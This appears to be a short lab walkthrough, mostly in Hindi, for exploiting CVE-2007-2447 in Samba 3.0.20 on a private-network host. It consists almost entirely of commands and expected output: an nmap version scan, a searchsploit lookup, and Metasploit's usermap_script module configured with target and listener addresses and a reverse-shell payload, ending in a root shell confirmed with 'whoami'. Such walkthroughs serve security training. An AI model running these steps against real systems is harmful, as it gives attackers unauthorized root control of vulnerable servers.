nulltrace1336/samba-exploit-cve-2007-2447
nmap -sS -sV -p 139,445 192.168.56.102
अपेक्षित परिणाम:
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
👉 Samba संस्करण: 3.0.20 यह CVE-2007-2447 के लिए असुरक्षित है।
searchsploit samba 3.0.20
परिणाम:
Samba 3.0.20 - 'Username' map script Command Execution
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101
पेलोड स्वचालित होगा:
cmd/unix/reverse
जाँच करें:
show options
run
या
exploit
यदि सफल होता है:
Command shell session opened
जाँचते हैं:
whoami
👉 परिणाम:
root